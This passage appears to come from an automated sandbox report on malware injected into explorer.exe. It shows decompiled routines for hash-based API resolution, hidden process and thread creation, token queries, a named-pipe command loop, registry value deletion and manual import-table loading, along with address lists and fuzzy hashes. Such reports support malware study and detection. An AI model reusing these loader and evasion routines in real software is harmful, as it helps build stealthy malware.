				CHAR* _t82;
				void* _t84;
				void* _t87;
				void* _t88;
				void* _t89;

				_t69 = _a4;
				_t48 =  *((intOrPtr*)(_t69 + 0x3c)) + _t69;
				_v16 = _t48;
				_t49 =  *((intOrPtr*)(_t48 + 0x78));
				if(_t49 != 0) {
					_v8 = _v8 & 0x00000000;
					_t84 = _t49 + _t69;
					_t80 =  *((intOrPtr*)(_t84 + 0x20)) + _t69;
					_t66 =  *((intOrPtr*)(_t84 + 0x24)) + _t69;
					_v12 =  *((intOrPtr*)(_t84 + 0x1c)) + _t69;
					if( *((intOrPtr*)(_t84 + 0x18)) <= 0) {
						L18:
						_t52 = 0;
					} else {
						while(1) {
							_t56 = E0110BF2C(0,  *((intOrPtr*)(_t80 + _v8 * 4)) + _t69, E0110C90F( *((intOrPtr*)(_t80 + _v8 * 4)) + _t69));
							_t89 = _t89 + 0xc;
							if((_t56 ^ 0x218fe95b) == _a8) {
								break;
							}
							_v8 = _v8 + 1;
							if(_v8 <  *((intOrPtr*)(_t84 + 0x18))) {
								_t69 = _a4;
								continue;
							} else {
								goto L18;
							}
							goto L19;
						}
						_t52 =  *((intOrPtr*)(_v12 + ( *(_t66 + _v8 * 2) & 0x0000ffff) * 4)) + _a4;
						if(_t52 >= _t84 && _t52 <  *((intOrPtr*)(_v16 + 0x7c)) + _t84) {
							_t74 = 0;
							_t68 = _t52;
							_t82 = _t52;
							_t87 =  &_v80 - _t52;
							while(1) {
								_t77 =  *_t82;
								if(_t77 == 0x2e || _t77 == 0) {
									break;
								}
								_t74 = _t74 + 1;
								 *((char*)(_t87 + _t82)) = _t77;
								_t82 =  &(_t82[1]);
								if(_t74 < 0x40) {
									continue;
								}
								break;
							}
							 *((char*)(_t88 + _t74 - 0x4c)) = 0x2e;
							 *((char*)(_t88 + _t74 - 0x4b)) = 0x64;
							 *((char*)(_t88 + _t74 - 0x4a)) = 0x6c;
							 *((char*)(_t88 + _t74 - 0x49)) = 0x6c;
							 *((char*)(_t88 + _t74 - 0x48)) = 0;
							if( *((char*)(_t74 + _t52)) != 0) {
								_t45 =  &(_t52[1]); // 0x2
								_t68 = _t74 + _t45;
							}
							_t46 =  &_v80; // 0x2e
							_t62 = LoadLibraryA(_t46); // executed
							if(_t62 == 0) {
								goto L18;
							} else {
								_t52 = GetProcAddress(_t62, _t68);
								if(_t52 == 0) {
									goto L18;
								}
							}
						}
					}
					L19:
					return _t52;
				} else {
					return _t49;
				}
			}

0x0110e5f9
0x0110e5ff
0x0110e601
0x0110e604
0x0110e609
0x0110e60d
0x0110e613
0x0110e622
0x0110e624
0x0110e62a
0x0110e62d
0x0110e6e6
0x0110e6e6
0x0110e633
0x0110e638
0x0110e64a
0x0110e654
0x0110e65a
0x00000000
0x00000000
0x0110e65c
0x0110e665
0x0110e635
0x00000000
0x0110e667
0x00000000
0x0110e667
0x00000000
0x0110e665
0x0110e676
0x0110e67b
0x0110e68c
0x0110e68e
0x0110e690
0x0110e692
0x0110e694
0x0110e694
0x0110e699
0x00000000
0x00000000
0x0110e69f
0x0110e6a0
0x0110e6a3
0x0110e6a7
0x00000000
0x00000000
0x00000000
0x0110e6a7
0x0110e6ad
0x0110e6b2
0x0110e6b7
0x0110e6bc
0x0110e6c1
0x0110e6c6
0x0110e6c8
0x0110e6c8
0x0110e6c8
0x0110e6cc
0x0110e6d0
0x0110e6d8
0x00000000
0x0110e6da
0x0110e6dc
0x0110e6e4
0x00000000
0x00000000
0x0110e6e4
0x0110e6d8
0x0110e67b
0x0110e6e8
0x0110e6ec
0x0110e60c
0x0110e60c
0x0110e60c

Strings

.dll, xrefs: 0110E6CC, 0110E6CF

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID:
String ID: .dll
API String ID: 0-2738580789
Opcode ID: 3089e0003d4b4fc34f45f0b1e4ea4ca48f3b933b3fce21c349ed9da5beaab3a5
Instruction ID: f9d44fc3bc6fcd37318a211e402abb897e613aefc9b2f4d1561a9f10a24cdde9
Opcode Fuzzy Hash: 3089e0003d4b4fc34f45f0b1e4ea4ca48f3b933b3fce21c349ed9da5beaab3a5
Instruction Fuzzy Hash: 1031AF30A012449FEB2ACF69E884BAD7BF5AF44348F28486CE941D7381D7B5E945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0110A2BE, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E0110A2BE(WCHAR* _a4, DWORD* _a8, intOrPtr _a12, intOrPtr _a16) {
				WCHAR* _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOW _v100;

				_push(0x44);
				_push(0);
				_push( &_v100);
				_v8 = 0;
				L0111CAF8();
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v100.cb = 0x44;
				if(_a16 != 0) {
					_v100.dwFlags = 1;
					_v100.wShowWindow = 0;
					_v8 = 0x8000000;
				}
				if(CreateProcessW(0, _a4, 0, 0, 0, _v8, 0, 0,  &_v100,  &_v24) == 0) {
					return 0;
				} else {
					if(_a8 != 0) {
						_push(_a12);
						_push(_v24.hProcess);
						if( *((intOrPtr*)( *0x112b760 + 0x2c))() >= 0) {
							GetExitCodeProcess(_v24.hProcess, _a8);
						}
					}
					 *((intOrPtr*)( *0x112b760 + 0x30))(_v24.hThread);
					 *((intOrPtr*)( *0x112b760 + 0x30))(_v24);
					return 1;
				}
			}

0x0110a2c8
0x0110a2cd
0x0110a2ce
0x0110a2cf
0x0110a2d2
0x0110a2dc
0x0110a2dd
0x0110a2de
0x0110a2df
0x0110a2e6
0x0110a2f0
0x0110a2f4
0x0110a2f7
0x0110a2fb
0x0110a2fb
0x0110a320
0x00000000
0x0110a322
0x0110a325
0x0110a327
0x0110a32f
0x0110a337
0x0110a33f
0x0110a33f
0x0110a337
0x0110a34d
0x0110a358
0x00000000
0x0110a35b

APIs

CreateProcessW.KERNELBASE(00000000,00001388,00000000,00000000,00000000,00000001,00000000,00000000,00000044,0110CC87,?,00000000,?), ref: 0110A31B

Strings

D, xrefs: 0110A2E6

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: D
API String ID: 963392458-2746444292
Opcode ID: 89ef49e4ad01313d55fd826925bb5df8974ceaf25d3d3485a484c74313b5923e
Instruction ID: 5635b3ddfd9d161257ac6e2a312eae324f49e0583e309ea1d1814e529216f954
Opcode Fuzzy Hash: 89ef49e4ad01313d55fd826925bb5df8974ceaf25d3d3485a484c74313b5923e
Instruction Fuzzy Hash: DC211575905228BFDB62CFAADD489DFBFB9FF08250B140025F608E6160D7709A10CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0110B1B3, Relevance: 3.1, APIs: 2, Instructions: 134
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E0110B1B3(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				void* _t51;
				intOrPtr _t53;
				intOrPtr _t54;
				intOrPtr _t58;
				intOrPtr _t63;
				struct _SECURITY_ATTRIBUTES* _t71;
				intOrPtr _t80;
				void* _t88;
				struct _SECURITY_ATTRIBUTES* _t89;
				void* _t99;
				signed int _t101;
				intOrPtr _t112;
				void* _t114;
				signed int _t116;
				void* _t118;

				_t89 = 0;
				_t51 =  *((intOrPtr*)( *0x112b760 + 0x2c))( *0x112b858, 0x7530, _t88, __ecx);
				if(_t51 == 0 || _t51 == 0x80) {
					_v8 = _t89;
					_t114 = 0;
					do {
						_t53 =  *((intOrPtr*)(_t114 +  *0x112b810));
						if(_t53 == _t89) {
							L7:
							_t54 =  *0x112b810;
							if( *((intOrPtr*)(_t114 + _t54)) == _t89) {
								_t116 = _v8 << 5;
								if(_a8 == _t89) {
									 *(_t116 + _t54 + 0x10) = _t89;
									 *(_t116 +  *0x112b810 + 0xc) = _t89;
									L14:
									 *((intOrPtr*)(_t116 +  *0x112b810 + 0x14)) = _a16;
									 *((intOrPtr*)(_t116 +  *0x112b810 + 8)) = _a4;
									_t58 = E0110EF27(_t89, 1); // executed
									 *((intOrPtr*)(_t116 +  *0x112b810 + 0x1c)) = _t58;
									 *(_t116 +  *0x112b810) = CreateThread(_t89, _t89, E0110B444,  *0x112b810 + _t116, _t89,  *0x112b810 + _t116 + 4);
									_t63 =  *0x112b810;
									_t99 =  *(_t63 + _t116);
									if(_t99 != _t89) {
										SetThreadPriority(_t99, 0xffffffff); // executed
										 *0x112b80c =  *0x112b80c + 1;
										 *((intOrPtr*)( *0x112b760 + 0x90))( *((intOrPtr*)(_t116 +  *0x112b810 + 0x1c)));
										_t89 = _t116 +  *0x112b810;
									} else {
										 *((intOrPtr*)( *0x112b760 + 0x30))( *((intOrPtr*)(_t63 + _t116 + 0x1c)));
										_t74 =  *0x112b810;
										_t100 =  *0x112b810 + _t116 + 0xc;
										if( *((intOrPtr*)( *0x112b810 + _t116 + 0xc)) != _t89) {
											E011094F4(_t100,  *((intOrPtr*)(_t74 + _t116 + 0x10)));
										}
										_t101 = 8;
										memset(_t116 +  *0x112b810, 0, _t101 << 2);
									}
									L19:
									L20:
									 *((intOrPtr*)( *0x112b760 + 0x90))( *0x112b858);
									_t71 = _t89;
									goto L21;
								}
								_t112 = _a12;
								 *(_t116 +  *0x112b810 + 0xc) = E01109568(_t112);
								_t80 =  *0x112b810;
								if( *((intOrPtr*)(_t80 + _t116 + 0xc)) == _t89) {
									goto L19;
								}
								 *((intOrPtr*)(_t80 + _t116 + 0x10)) = _t112;
								E01109543( *(_t116 +  *0x112b810 + 0xc), _a8, _t112);
								_t118 = _t118 + 0xc;
								goto L14;
							}
							goto L8;
						}
						_push(_t89);
						_push(_t53);
						if( *((intOrPtr*)( *0x112b760 + 0x2c))() == 0x102) {
							goto L8;
						}
						E0110B3D7( *0x112b810 + _t114, _t89);
						goto L7;
						L8:
						_v8 = _v8 + 1;
						_t114 = _t114 + 0x20;
					} while (_t114 < 0x1000);
					goto L20;
				} else {
					_t71 = 0;
					L21:
					return _t71;
				}
			}

0x0110b1c8
0x0110b1ca
0x0110b1cf
0x0110b1e0
0x0110b1e3
0x0110b1e5
0x0110b1ea
0x0110b1ef
0x0110b210
0x0110b210
0x0110b218
0x0110b230
0x0110b237
0x0110b277
0x0110b280
0x0110b284
0x0110b28c
0x0110b29b
0x0110b29f
0x0110b2ac
0x0110b2d2
0x0110b2d5
0x0110b2da
0x0110b2df
0x0110b31a
0x0110b32e
0x0110b334
0x0110b33f
0x0110b2e1
0x0110b2ea
0x0110b2ed
0x0110b2f2
0x0110b2f8
0x0110b2ff
0x0110b305
0x0110b310
0x0110b313
0x0110b313
0x0110b342
0x0110b343
0x0110b34e
0x0110b354
0x00000000
0x0110b356
0x0110b239
0x0110b249
0x0110b24d
0x0110b256
0x00000000
0x00000000
0x0110b260
0x0110b26d
0x0110b272
0x00000000
0x0110b272
0x00000000
0x0110b218
0x0110b1f1
0x0110b1f2
0x0110b200
0x00000000
0x00000000
0x0110b20a
0x00000000
0x0110b21a
0x0110b21a
0x0110b21d
0x0110b220
0x00000000
0x0110b1d8
0x0110b1d8
0x0110b357
0x0110b359
0x0110b359

APIs

CreateThread.KERNELBASE(00000000,00000000,0110B444,?,00000000,?,00000000,?,?,?,?,0110296C,01105C57,00000000,00000000,00000000), ref: 0110B2C9

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 44e43c55bfb337213348cc67b0ff880f43997fc31ecc5903dc2473e0213742de
Instruction ID: 446e767ab8d84e812322f2f78ce4fb40e6b696f53e52a8f4cf9f4f86b058834f
Opcode Fuzzy Hash: 44e43c55bfb337213348cc67b0ff880f43997fc31ecc5903dc2473e0213742de
Instruction Fuzzy Hash: 76514C75528208EFC73EDF58E884D2577F5FB08314B55883DE92A97295C7B0E990CB18

Uniqueness

Uniqueness Score: -1.00%

Function 0110D481, Relevance: 3.0, APIs: 2, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E0110D481(void* _a4, union _TOKEN_INFORMATION_CLASS _a8, DWORD* _a12) {
				long _v8;
				void* _v12;
				void* _t16;
				void* _t28;

				_push(_t23);
				_t28 = 0;
				if(GetTokenInformation(_a4, _a8, 0, 0,  &_v8) != 0 || GetLastError() != 0x7a) {
					L6:
					_t16 = _t28;
				} else {
					_t28 = E01109568(_v8);
					_v12 = _t28;
					if(_t28 != 0) {
						if(GetTokenInformation(_a4, _a8, _t28, _v8, _a12) != 0) {
							goto L6;
						} else {
							E011094F4( &_v12, _t20);
							goto L3;
						}
					} else {
						L3:
						_t16 = 0;
					}
				}
				return _t16;
			}

0x0110d485
0x0110d490
0x0110d49f
0x0110d4e9
0x0110d4e9
0x0110d4ac
0x0110d4b4
0x0110d4b7
0x0110d4bc
0x0110d4d9
0x00000000
0x0110d4db
0x0110d4e0
0x00000000
0x0110d4e6
0x0110d4be
0x0110d4be
0x0110d4be
0x0110d4be
0x0110d4bc
0x0110d4ed

APIs

GetTokenInformation.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00001644,?,?,?,0110D1C2,00000000,00000001,00000000,00001644), ref: 0110D49A

Part of subcall function 01109568: RtlAllocateHeap.NTDLL(00000008,?,?,0110AC93,00000100,?,01102E84), ref: 01109576

GetTokenInformation.KERNELBASE(00000000,00000000,00000000,00000000,0110EBDC,?,?,?,0110D1C2,00000000,00000001,00000000,00001644), ref: 0110D4D4

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: InformationToken$AllocateHeap
String ID:
API String ID: 3274490822-0
Opcode ID: aef780c229a46e52fb1f1085ad1d9ca48796d94895d7f52e0e054a586247b7f8
Instruction ID: 97bc26199ad1d1c1c555c9e69ee67c1718856b5c734f8b3d85f52146d33fa2b3
Opcode Fuzzy Hash: aef780c229a46e52fb1f1085ad1d9ca48796d94895d7f52e0e054a586247b7f8
Instruction Fuzzy Hash: C9017C32904118BF8F2A9FE5EC08CCB7FA8EF046A0B128060F815D60A1D7B1EA109B90

Uniqueness

Uniqueness Score: -1.00%

Function 01105DAC, Relevance: 1.7, APIs: 1, Instructions: 177
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E01105DAC() {
				char _v8;
				char _v12;
				struct _OVERLAPPED* _v16;
				char _v20;
				struct _OVERLAPPED* _v24;
				intOrPtr* _v28;
				signed int _v32;
				char _v160;
				char _v164;
				void* __esi;
				char _t51;
				intOrPtr* _t54;
				void* _t66;
				char _t67;
				long _t75;
				struct _OVERLAPPED* _t79;
				char _t80;
				intOrPtr* _t82;
				void* _t84;
				void* _t94;
				void* _t98;
				void* _t99;
				void* _t100;
				signed int _t106;
				intOrPtr* _t108;
				void* _t110;

				_t79 = 0;
				_v16 = 0;
				_v8 = 0;
				do {
					_v24 = _t79;
					if(ConnectNamedPipe( *0x112b7c4, _t79) != 0) {
						L3:
						_push(_t79);
						_push( &_v24);
						_push(0x80000);
						_push( *0x112b7c0);
						_push( *0x112b7c4);
						if( *((intOrPtr*)( *0x112b760 + 0x88))() == 0 || _v24 == _t79) {
							GetLastError();
						} else {
							_t42 =  *0x112b7c0;
							_t84 = ( *( *0x112b7c0) & 0x0000ffff) - 1;
							if(_t84 == 0) {
								_t106 = 1;
								_t108 = E0110AA8F( &(_t42[4]), 0x20, 1,  &_v12);
								_t110 = _t110 + 0xc;
								_v20 = _t108;
								if(_t108 != _t79) {
									_t80 = _v12;
									if(_t80 <= 1) {
										_t51 = E01102108(E0110AFDD( *_t108), 0, 0, 0);
										_t110 = _t110 + 0x10;
										_v164 = _t51;
									} else {
										_t81 = _t80 - 1;
										_v32 = _t80 - 1;
										_t54 = E01109568(_t80 - 1 << 2);
										_v28 = _t54;
										if(_t54 != 0) {
											if(_v12 > 1) {
												_t82 = _t54;
												do {
													 *_t82 = E0110AA4C(E0110C90F( *((intOrPtr*)(_t108 + _t106 * 4))),  *((intOrPtr*)(_t108 + _t106 * 4)));
													_t106 = _t106 + 1;
													_t82 = _t82 + 4;
												} while (_t106 < _v12);
												_t81 = _v32;
											}
											_v164 = E01102108(E0110AFDD( *_t108), _v28, _t81, 0);
											E0110ACCA( &_v12,  &_v20);
											_t110 = _t110 + 0x14;
										}
									}
								}
								E0110AFAD( &_v160, 0x80,  &(( *0x112b7c0)[4]));
								E0111337C(0x84, 2,  &_v164);
								_t79 = 0;
							} else {
								_t94 = _t84 - 3;
								if(_t94 == 0) {
									E0111337C(0, 5, _t79);
									 *0x112b838 = 1;
									_v16 = 1;
								} else {
									_t98 = _t94;
									if(_t98 == 0) {
										_t66 = E0111B171( &_v8);
										goto L16;
									} else {
										_t99 = _t98 - 1;
										if(_t99 == 0) {
											E0111B171( &_v8);
											goto L14;
										} else {
											_t100 = _t99 - 1;
											if(_t100 == 0) {
												_t66 = E0111B41A( &_v8);
												L16:
												_push(_t66);
												_t67 = _v8;
												_push(5);
												goto L17;
											} else {
												if(_t100 == 1) {
													E0111B41A( &_v8);
													L14:
													_push( &_v8);
													_push(5);
													_t67 = 4;
													L17:
													E0111337C(_t67);
													_t110 = _t110 + 0xc;
												}
											}
										}
									}
								}
							}
						}
						goto L30;
					} else {
						_t75 = GetLastError();
						asm("sbb eax, eax");
						if( ~(_t75 - 0x217) + 1 != 0) {
							goto L3;
						}
					}
					break;
					L30:
					DisconnectNamedPipe( *0x112b7c4);
				} while (_v16 == _t79);
				return 0;
			}

0x01105db6
0x01105dba
0x01105dbd
0x01105dc0
0x01105dcc
0x01105dd7
0x01105def
0x01105def
0x01105df3
0x01105df9
0x01105dfe
0x01105e04
0x01105e12
0x01105f81
0x01105e21
0x01105e21
0x01105e29
0x01105e2a
0x01105eaa
0x01105eb6
0x01105eb8
0x01105ebb
0x01105ec0
0x01105ec6
0x01105ecb
0x01105f41
0x01105f46
0x01105f49
0x01105ecd
0x01105ecd
0x01105ed4
0x01105ed7
0x01105edd
0x01105ee2
0x01105ee7
0x01105ee9
0x01105eeb
0x01105efa
0x01105efc
0x01105efe
0x01105f02
0x01105f07
0x01105f07
0x01105f1d
0x01105f2a
0x01105f2f
0x01105f2f
0x01105ee2
0x01105ecb
0x01105f63
0x01105f76
0x01105f7d
0x01105e2c
0x01105e2c
0x01105e2f
0x01105e8d
0x01105e97
0x01105e9c
0x01105e31
0x01105e32
0x01105e33
0x01105e70
0x00000000
0x01105e35
0x01105e35
0x01105e36
0x01105e5c
0x00000000
0x01105e38
0x01105e38
0x01105e39
0x01105e51
0x01105e75
0x01105e75
0x01105e76
0x01105e79
0x00000000
0x01105e3b
0x01105e3c
0x01105e46
0x01105e61
0x01105e64
0x01105e65
0x01105e69
0x01105e7b
0x01105e7b
0x01105e80
0x01105e80
0x01105e3c
0x01105e39
0x01105e36
0x01105e33
0x01105e2f
0x01105e2a
0x00000000
0x01105dd9
0x01105dd9
0x01105de6
0x01105de9
0x00000000
0x00000000
0x01105de9
0x00000000
0x01105f87
0x01105f8d
0x01105f93
0x01105fa2

APIs

ConnectNamedPipe.KERNELBASE(00000000), ref: 01105DCF

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: ConnectNamedPipe
String ID:
API String ID: 2191148154-0
Opcode ID: 23211cb0b8acfc698c1d3e3c7b00df43da04774c1a0be8643ab8314a17672b5c
Instruction ID: 95ad4f8e65ea98f54ec62f0085c50d8fcdc726a8e6dada8cd4c7824b996195f5
Opcode Fuzzy Hash: 23211cb0b8acfc698c1d3e3c7b00df43da04774c1a0be8643ab8314a17672b5c
Instruction Fuzzy Hash: 4F518371D04209AFDB6EEFA4DC84A6EB7B9EF04304F54407DE255E21C0DBB499408F65

Uniqueness

Uniqueness Score: -1.00%

Function 011059D4, Relevance: 1.6, APIs: 1, Instructions: 143
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E011059D4(void* __fp0, void* _a4, short* _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _v8;
				short* _v12;
				char* _v16;
				int* _v20;
				int _v24;
				int _v28;
				int _v32;
				int _v36;
				intOrPtr _v40;
				int _v44;
				int _v48;
				int _v52;
				struct _FILETIME _v60;
				char _v578;
				short _v580;
				short* _t56;
				char* _t58;
				long _t60;
				short* _t75;
				long _t76;
				intOrPtr _t79;
				short* _t82;
				intOrPtr _t92;
				void* _t98;
				void* _t99;
				void* _t107;

				_t107 = __fp0;
				_push(0x206);
				_v580 = 0;
				_push(0);
				_push( &_v578);
				_v8 = 0;
				L0111CAF8();
				_v36 = 0x104;
				_v28 = 0x3fff;
				_v32 = 0;
				_t56 = E01109568(0x3fff);
				_t99 = _t98 + 0x10;
				_v12 = _t56;
				if(_t56 == 0) {
					L18:
					return 0;
				}
				_t58 = E01109568(0x800);
				_v16 = _t58;
				if(_t58 == 0) {
					L17:
					goto L18;
				}
				_t60 = RegOpenKeyExW(_a4, _a8, 0, 0x2001f,  &_v8); // executed
				if(_t60 != 0) {
					L14:
					if(_v8 != 0) {
						 *((intOrPtr*)( *0x112b76c + 0x1c))(_v8);
					}
					E011094F4( &_v12, 0x3fff); // executed
					E011094F4( &_v16, 0x800); // executed
					goto L17;
				}
				if(RegQueryInfoKeyW(_v8,  &_v580,  &_v36, 0, 0, 0, 0,  &_v24,  &_v48,  &_v52,  &_v44,  &_v60) == 0) {
					__eflags = _v24;
					if(__eflags == 0) {
						goto L14;
					}
					_v20 = 0;
					if(__eflags <= 0) {
						goto L14;
					} else {
						goto L7;
					}
					do {
						L7:
						_push(0x800);
						_push(0);
						_push(_v16);
						L0111CAF8();
						_push(0x3fff);
						_push(0);
						_push(_v12);
						L0111CAF8();
						_t75 = _v12;
						_t99 = _t99 + 0x18;
						_v28 = 0x3fff;
						_v32 = 0x800;
						 *_t75 = 0;
						_t76 = RegEnumValueW(_v8, _v20, _t75,  &_v28, 0, 0, _v16,  &_v32);
						__eflags = _t76;
						if(_t76 == 0) {
							_t79 =  *((intOrPtr*)( *0x112b744 + 4))(_v16, _a12);
							_v40 = _t79;
							__eflags = _t79;
							if(_t79 != 0) {
								RegDeleteValueW(_v8, _v12);
								__eflags = _a16;
								if(_a16 != 0) {
									_t92 = _v40;
									_t82 = _t92 + E0110C8FB(_t92) * 2 - 2;
									__eflags =  *_t82 - 0x22;
									if(__eflags == 0) {
										__eflags = 0;
										 *_t82 = 0;
									}
									E0110B9B4(_t92, __eflags, _t107);
								}
							}
						}
						_v20 =  &(_v20[0]);
						__eflags = _v20 - _v24;
					} while (_v20 < _v24);
				} else {
					 *((intOrPtr*)( *0x112b76c + 0x1c))(_v8);
				}
			}

0x011059d4
0x011059e3
0x011059e8
0x011059f5
0x011059f6
0x011059f7
0x011059fa
0x01105a05
0x01105a0c
0x01105a0f
0x01105a12
0x01105a17
0x01105a1a
0x01105a1f
0x01105b6c
0x01105b70
0x01105b70
0x01105a2c
0x01105a32
0x01105a37
0x01105b6a
0x00000000
0x01105b6a
0x01105a4d
0x01105a55
0x01105b43
0x01105b46
0x01105b50
0x01105b50
0x01105b58
0x01105b62
0x00000000
0x01105b67
0x01105a89
0x01105a9b
0x01105a9e
0x00000000
0x00000000
0x01105aa4
0x01105aa7
0x00000000
0x00000000
0x00000000
0x00000000
0x01105aad
0x01105aad
0x01105aad
0x01105aae
0x01105aaf
0x01105ab2
0x01105ab7
0x01105ab8
0x01105ab9
0x01105abc
0x01105ac1
0x01105ac4
0x01105ac9
0x01105acc
0x01105acf
0x01105ae6
0x01105aec
0x01105aee
0x01105afb
0x01105afe
0x01105b01
0x01105b03
0x01105b0b
0x01105b11
0x01105b14
0x01105b16
0x01105b1e
0x01105b22
0x01105b26
0x01105b28
0x01105b2a
0x01105b2a
0x01105b2f
0x01105b2f
0x01105b14
0x01105b03
0x01105b34
0x01105b3a
0x01105b3a
0x01105a8b
0x01105a93
0x01105a93

APIs

Part of subcall function 01109568: RtlAllocateHeap.NTDLL(00000008,?,?,0110AC93,00000100,?,01102E84), ref: 01109576

RegOpenKeyExW.KERNELBASE(?,?,00000000,0002001F,?,?,?,?,00000000), ref: 01105A4D

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1100000_explorer.jbxd

Yara matches

Similarity

API ID: AllocateHeapOpen
String ID:
API String ID: 4287083251-0
Opcode ID: a85420974c4dc9f2baf6aef65302cdff715d75f445a6e0a6c8a1bd1b1c2f95ea
Instruction ID: 90950594ac064688fdd919130e94b4e6eb38494736a5c71f78e51893b8a3d15a
Opcode Fuzzy Hash: a85420974c4dc9f2baf6aef65302cdff715d75f445a6e0a6c8a1bd1b1c2f95ea
Instruction Fuzzy Hash: C8511771D0011EAFDF16DFA4DC84DEEBBBEEF08304F14446AE615A2191E7709A548F64

Uniqueness

Uniqueness Score: -1.00%

Function 0111BF94, Relevance: 1.6, APIs: 1, Instructions: 142
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E0111BF94(signed int __eax, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				struct HINSTANCE__* _v24;
				signed int _v28;
				signed int _v32;
				struct HINSTANCE__* _v36;
				signed int* _v40;
				intOrPtr* _v44;
				intOrPtr _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				struct HINSTANCE__* _t115;
				void* _t157;

				_v8 = _v8 & 0x00000000;
				if(_a4 != 0) {
					_v24 = GetModuleHandleA("kernel32.dll");
					_v12 = E0110E77F(_v24, "GetProcAddress");
					_v16 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
					_v20 = _v16;
					if( *((intOrPtr*)(_v20 + 0x80)) == 0) {
						L24:
						return 0;
					}
					_v32 = 0x80000000;
					_t18 = _v20 + 0x80; // 0xff0112b7
					_v44 = _a4 +  *_t18;
					while( *((intOrPtr*)(_v44 + 0xc)) != 0) {
						_v44 = _v44 + 0x14;
					}
					_t26 = _v20 + 0x80; // 0xff0112b7
					_v44 = _a4 +  *_t26;
					while( *((intOrPtr*)(_v44 + 0xc)) != 0) {
						_t115 = LoadLibraryA( *((intOrPtr*)(_v44 + 0xc)) + _a4); // executed
						_v36 = _t115;
						if(_v36 != 0) {
							if( *_v44 == 0) {
								_v40 =  *((intOrPtr*)(_v44 + 0x10)) + _a4;
							} else {
								_v40 =  *_v44 + _a4;
							}
							_v28 = _v28 & 0x00000000;
							while( *_v40 != 0) {
								_v64 = _v64 & 0x00000000;
								_v60 = _v60 & 0x00000000;
								_v52 = _v52 & 0x00000000;
								_v56 = _v56 & 0x00000000;
								if(( *_v40 & _v32) == 0) {
									_v48 =  *_v40 + _a4;
									_v56 = _v48 + 2;
									_v64 =  *( *((intOrPtr*)(_v44 + 0x10)) + _a4 + _v28);
									_v60 = _v12(_v36, _v56);
								} else {
									_v64 =  *_v40;
									_v56 = _v64 & 0x0000ffff;
									_v60 = _v12(_v36, _v56);
								}
								if(_v64 != _v60) {
									_v8 = _v8 + 1;
									if( *((intOrPtr*)(_v44 + 0x10)) == 0) {
										 *_v40 = _v60;
									} else {
										 *( *((intOrPtr*)(_v44 + 0x10)) + _a4 + _v28) = _v60;
									}
								}
								_v40 =  &(_v40[1]);
								_v28 = _v28 + 4;
							}
							_v44 = _v44 + 0x14;
							continue;
						}
						_t157 = 0xfffffffd;
						return _t157;
					}
					goto L24;
				}
				return __eax | 0xffffffff;
			}

0x0111bf9a
0x0111bfa2
0x0111bfb7
0x0111bfc9
0x0111bfd5
0x0111bfdb
0x0111bfe8
0x0111c14b
0x00000000
0x0111c14b
0x0111bfee
0x0111bffb
0x0111c001
0x0111c004
0x0111c013
0x0111c013
0x0111c01e
0x0111c024
0x0111c027
0x0111c03e
0x0111c044
0x0111c04b
0x0111c05b
0x0111c073
0x0111c05d
0x0111c065
0x0111c065
0x0111c076
0x0111c07a
0x0111c086
0x0111c08a
0x0111c08e
0x0111c092
0x0111c09e
0x0111c0c9
0x0111c0d1
0x0111c0e3
0x0111c0ef
0x0111c0a0
0x0111c0a5
0x0111c0b0
0x0111c0bc
0x0111c0bc
0x0111c0f8
0x0111c0fe
0x0111c108
0x0111c124
0x0111c10a
0x0111c119
0x0111c119
0x0111c108
0x0111c12c
0x0111c135
0x0111c135
0x0111c143
0x00000000
0x0111c143
0x0111c04f
0x00000000
0x0111c04f
0x00000000
0x0111c027
0x00000000

APIs

LoadLibraryA.KERNELBASE(00000000), ref: 0111C03E

Memory Dump Source

Source File: 00000004.00000002.973589332.0000000001100000.00000040.00000001.sdmp, Offset: 01100000, based on PE: true

Joe Sandbox IDA Plugin

